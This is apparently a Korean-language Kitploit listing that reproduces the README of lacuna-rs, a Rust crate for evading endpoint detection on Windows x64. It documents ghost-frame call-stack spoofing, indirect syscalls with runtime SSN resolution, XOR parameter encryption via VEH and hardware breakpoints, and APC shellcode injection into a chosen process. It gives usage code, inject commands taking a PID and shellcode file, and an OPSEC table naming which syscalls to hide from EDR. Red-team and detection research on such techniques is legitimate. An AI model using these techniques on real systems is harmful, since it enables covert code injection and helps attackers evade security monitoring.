Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
lacuna-rs — Windows x64용 ghost-frame call-stack spoofing, runtime indirect syscalls 및 APC injection을 위한 Rust crate입니다. SSN resolution, JIT stub emission 및 VEH-based parameter encryption을 제공하여 EDR evasion을 지원합니다. | Kitploit
도구/GitHubGitHub/karkas66/lacuna-rs
ShellcodePost-ExploitationRed TeamingPayload DevelopmentBinary Exploitation
GitHubkarkas66/lacuna-rs

lacuna-rs

Windows x64용 ghost-frame call-stack spoofing, runtime indirect syscalls 및 APC injection을 위한 Rust crate입니다. SSN resolution, JIT stub emission 및 VEH-based parameter encryption을 제공하여 EDR evasion을 지원합니다.

저장소 보기
181633개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

lacuna-rs

고스트 프레임 호출 스택 스푸핑 + Windows x64용 런타임 간접 시스템 콜 — Rust로 포팅됨.

Mohamed Alzhrani (0xmaz)의 LACUNA Chain (lacuna_chain.c)에서 포팅되었습니다.

lacuna-rs는 원본 C TTP와 동일한 프리미티브를 제공하는 재사용 가능한 Rust 크레이트로, wsyscall-rs 또는 syscalls-rs처럼 모든 Rust 프로젝트에 바로 포함할 수 있도록 설계되었습니다. 하지만 런타임 SSN 해석, 함수별 syscall;ret 타겟팅, 고스트 프레임 스택 스푸핑을 지원합니다.


중요: 프레임 포인터 요구 사항

stack-spoof 기능은 소비 크레이트가 프레임 포인터로 컴파일되지 않은 경우 자동으로 실패합니다.

chain.rs의 스택 스톰핑 프리미티브는 mov rbp, {x} 인라인 어셈블리를 통해 호출자의 반환 주소 슬롯을 찾습니다. 이를 위해서는 RBP 체인이 온전해야 합니다. Rust(및 대부분의 릴리스 모드 컴파일러)는 기본적으로 프레임 포인터를 생략합니다.

build.rs는 이 크레이트 자체의 코드 생성에 대해 force-frame-pointers=yes를 설정하지만, Cargo는 컴파일러 플래그를 다운스트림 크레이트로 전파할 수 없습니다. 자신의 프로젝트에 다음을 추가해야 합니다:

# .cargo/config.toml  (lacuna-rs가 아닌 자신의 크레이트에)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

이 설정이 없으면 stomp_plant()는 RBP에서 쓰레기 값을 읽어 아무 작업도 수행하지 않거나(최상의 경우) 스택을 손상시킵니다(최악의 경우). 크레이트는 런타임에 프레임 포인터가 활성화되었는지 감지할 방법이 없습니다. 단순히 작동하지 않습니다.

스캔, SSN 해석, 인젝션 프리미티브(스택 스푸핑 제외)만 필요한 경우 stack-spoof 기능을 생략할 수 있으며, 이 요구 사항은 적용되지 않습니다.


기능

프리미티브C 함수Rust 모듈
PE 섹션 + 익스포트 파싱pe_section(), pe_export()pe
.pdata 고스트 영역 스캔scan_ghosts(), best_ghost()scan
고스트 가젯 발견 (jmp [rbx])scan_ghost_gadgets()scan
win32u NOP 갭 찾기win32u_nop_gap()scan
BYOUD-MF 앵커 찾기find_mf_target()scan
SSN 해석 (Hell's Gate / Halo's Gate)resolve_ssn()nt
함수별 syscall;ret 로케이터find_func_syscall()nt
JIT 간접 시스템 콜 스텁 생성alloc_stub()stub
고스트 가젯 스텁 리디렉션(alloc_stub() 내)stub
VEH + 하드웨어 브레이크포인트 파라미터 암호화param_encrypt_veh(), pcrypt_arm()veh
체인 가드 VEHchain_veh()veh
LACUNA 체인 구축build_chain()chain
스택 스톰프 (BYOUD-RT)stomp_plant(), stomp_restore()chain
체인 워커 (검증)lacuna_walk_chain()chain
섹션 기반 APC 인젝션do_inject_sapc()inject

기능 플래그

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
기능설명프레임 포인터 필요?
syscalls (기본값)SSN 해석 + JIT 스텁 생성아니오
inject (기본값)섹션 기반 APC 인젝션 (inject::inject_sapc)아니오
vehVEH + 하드웨어 브레이크포인트 파라미터 암호화아니오
stack-spoofLACUNA 고스트 프레임 체인 + 스택 스톰프예
no-stdno_std 모드 (실험적)아니오

기능이 활성화되지 않으면 스캔/PE/NT 레이어만 사용할 수 있습니다.


빠른 시작

고스트 영역 스캔

cargo run --example scan

고스트 프레임 체인 구축 + 검증

cargo run --example verify --features stack-spoof

섹션 + APC를 통한 셸코드 인젝션

인젝션 증명 실제 임플란트를 사용한 인젝션 예제 - C2는 오프라인이었지만 셸코드가 실행됨

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

VEH 진단 출력(스택 덤프, 레지스터 출력)을 활성화하려면 --verbose를 추가하세요:

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

스레드 점수 알고리즘

대상 프로세스의 모든 스레드에 APC를 대기시키는 대신(너무 많은 스레드가 동시에 알림을 받으면 프로세스가 충돌할 수 있음), inject_sapc는 점수 알고리즘을 사용하여 최상의 MAX_APC_THREADS(5) 후보를 선택합니다:

  • 사이클 시간 — NtQueryInformationThread(ThreadCycleTime) — 주요 활동 지표
  • CPU 시간 — NtQueryInformationThread(ThreadTimes) — 커널 + 사용자 시간
  • 일시 중단 횟수 — NtQueryInformationThread(ThreadSuspendCount) — 일시 중단되지 않은 스레드는 +300 보너스; 일시 중단된 스레드는 일시 중단 횟수당 -150
  • 우선순위 — NtQueryInformationThread(ThreadBasicInformation) — 우선순위 8-10 스레드는 +150 보너스; 범위를 벗어난 우선순위는 -100 페널티

완전히 유휴 상태인 스레드(사이클 및 CPU 시간이 0)는 완전히 건너뜁니다. 나머지 후보는 점수(내림차순, 동점 시 사이클 기준)로 정렬되어 상위 5개로 제한됩니다.


라이브러리로 사용하기

기본: 스캔 + SSN 해석

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// 고스트 영역 스캔
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} 고스트 영역이 ntdll에 있습니다.", n);

// 특정 함수에 대한 SSN + syscall;ret 해석
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

모든 NT API에 대한 간접 시스템 콜 스텁 생성

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// SSN + 함수 자체의 syscall;ret 주소 해석
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT 스텁 생성: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (또는 build_chain이 호출된 경우 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("스텁 할당 실패");

// 해당 함수 포인터 타입으로 캐스팅하여 호출
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

고스트 프레임 체인 구축 + VEH 등록

// ntdll/kernelbase/wow64/win32u를 스캔하여 6계층 가짜 호출 스택을 구축합니다.
// G_GHOST_GADGET을 설정하여 스텁이 서명된 DLL의 JMP [RBX]를 통해 라우팅되도록 합니다.
lacuna::chain::build_chain();

// VEH 핸들러 등록 (파라미터 암호화 + 체인 가드)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 등록 실패");

// 선택 사항: 런타임에 상세 진단 활성화
lacuna::veh::set_verbose(true);

스택 스푸핑 + 파라미터 암호화로 민감한 시스템 콜 래핑

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// 고스트 프레임 배치 (반환 주소를 서명된 DLL 고스트로 교체)
lacuna::chain::stomp_plant();

// syscall;ret에 DR0 설정 — VEH가 경계에서 XOR 암호화된 파라미터를 해독합니다.
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// 간접 스텁을 통해 호출 — RIP가 ntdll 내부 커널 진입점에 위치합니다.
let _status = unsafe { open_proc(/* XOR 암호화된 파라미터 */) };

// 보호되지 않은 호출 전에는 항상 비활성화
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: 고스트 프레임 뒤에 숨겨야 할 것

모든 API 호출에 전체 LACUNA 처리가 필요한 것은 아닙니다. 핵심 원칙은 EDR이 인젝션 또는 사후 익스플로잇 활동으로 상관 관계를 맺을 수 있는 호출을 숨기는 것입니다.

간접 시스템 콜 + 고스트 프레임 + 파라미터 암호화가 반드시 필요한 호출

다음은 EDR이 후킹하고 상관 관계를 맺는 "크라운 주얼" NT 시스템 콜입니다:

호출민감한 이유
NtOpenProcess다른 프로세스에 대한 핸들 열기 — 인젝션의 첫 단계
NtCreateSection + NtMapViewOfSection (원격)섹션 기반 인젝션 시그니처
NtWriteVirtualMemory프로세스 간 쓰기 — 전형적인 인젝션 지표
NtCreateThreadEx원격 스레드 생성 — 가장 높은 신호의 인젝션 프리미티브
NtQueueApcThreadAPC 인젝션 — 높은 신호
NtProtectVirtualMemoryRWX 권한 변경 — 셸코드 스테이징 지표
NtAllocateVirtualMemory (원격)원격 할당 — 인젝션 전주곡
NtSetInformationThread스레드 숨기기 (HideFromDebugger) — 회피 지표

이 각각에 대해:

  1. nt::resolve(ntdll, b"NtXxx\0")로 해석
  2. stub::make_stub(ssn, syscall_ret)로 스텁 생성
  3. veh::pcrypt_arm(key, syscall_ret, true)로 민감한 파라미터 XOR 암호화
  4. chain::stomp_plant()와 chain::stomp_restore() 사이에 호출 래핑

직접 호출 가능 (고스트 프레임 불필요)

호출안전한 이유
NtQueryInformationThread읽기 전용, 거의 후킹되지 않음, 프로세스 간 쓰기 없음
NtDelayExecutionSleep — 무해, 모든 애플리케이션이 사용
NtClose핸들 닫기 — 무해, 매우 일반적
GetModuleHandleA / GetProcAddress모듈 해석 — 시스템 콜이 아님, EDR 사용자 모드 후킹 불가
CreateToolhelp32Snapshot / Thread32First / Thread32Next스레드 열거 — kernel32, ntdll 시스템 콜 아님
OpenThread / CloseHandle표준 핸들 작업 — kernel32
GetThreadContext / SetThreadContextDR0에 필요 — kernel32, 자체 프로세스 전용

주요 원칙

  1. 모든 NT 시스템 콜을 nt::resolve(ntdll, b"NtXxx\0")로 해석 — (SSN, syscall_ret_VA) 반환.
  2. stub::make_stub(ssn, syscall_ret)로 JIT 스텁 생성 — 호출 가능한 함수 포인터 반환.
  3. 스텁을 core::mem::transmute를 통해 적절한 extern "system" fn(...) 타입으로 캐스팅.
  4. (민감한 호출만) chain::build_chain()으로 고스트 프레임 체인 구축하고 호출 주위에 chain::stomp_plant() / chain::stomp_restore() 사용.
  5. (민감한 호출만) 호출 전에 veh::pcrypt_arm(key, syscall_ret, true)로 파라미터 암호화 설정, 호출 후 veh::pcrypt_disarm().
  6. 보호되지 않은 호출을 하기 전에 항상 VEH 비활성화 — 무장하지 않은 시스템 콜에 잘못된 DR0가 적중하면 충돌합니다.
  7. 모든 출력 문자열은 lc!()로 래핑해야 합니다 — 크레이트가 이를 강제하며, VEH 진단은 기본적으로 꺼져 있는 set_verbose(true) 뒤에 게이팅됩니다.
도구 다운로드